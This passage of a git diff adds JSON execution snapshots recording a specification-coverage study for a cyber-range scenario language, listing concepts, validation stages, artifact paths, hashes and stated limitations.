"examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "bdd0c5dcc4df874d169dbccd0d0a3193cc9719cf06157f1b042595c001aa1f3d", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "b7322e897c1141071f5f78f6f6acd590c675f00ab0410bb5e1ef2d17a70c997c", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained offline matrix does not establish provider installation, scheduling, or effect realization." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "f4138a50f8ab8f6362def473bfdcbe04b2810d12", + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v58", + "snapshot_revision": "58.0.0", + "source_state": { + "base_revision": "f4138a50f8ab8f6362def473bfdcbe04b2810d12", + "checkout_state": "modified", + "implementation_digest": "4f0a64625813fefb5bfdef60f63fe8e16ce486a4abe66f0b494b52de09bcfc14", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v59.json b/docs/research/specification-coverage/execution-snapshot-v59.json new file mode 100644 index 000000000..8a8f8fbec --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v59.json @@ -0,0 +1,702 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27T21:07:04.215252+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + 